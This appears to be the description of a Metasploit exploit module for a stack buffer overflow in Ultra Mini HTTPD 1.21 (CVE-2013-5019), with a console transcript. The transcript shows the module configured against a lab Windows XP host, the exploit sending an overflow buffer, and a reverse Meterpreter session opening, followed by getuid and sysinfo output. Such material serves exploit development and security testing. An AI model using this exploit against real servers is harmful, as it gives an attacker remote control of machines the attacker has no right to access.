Ultra Mini HTTPD 1.21 Stack Buffer Overflow

Implements stack buffer overflow in Ultra HTTPD 1.21 (CVE-2013-5019). PoC and vulnerable app from EDB 26739:
http://www.exploit-db.com/exploits/26739/

Windows XP SP3 ENG target:
```
msf exploit(ultraminihttp_bof) > show options

Module options (exploit/windows/http/ultraminihttp_bof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.56.101   yes       The target address
   RPORT    80               yes       The remote port
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   v1.21 - Windows XP SP3 ENG


msf exploit(ultraminihttp_bof) > exploit

[*] Started reverse handler on 192.168.56.1:4444 
[*] Buf length: 7039
[*] Sending buffer...
[*] Sending stage (751104 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1584) at 2013-08-11 16:06:13 -0400

meterpreter > getuid
Server username: VulnDevXPSP3\VulnUser
meterpreter > sysinfo
Computer        : VulnDevXPSP3
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 
```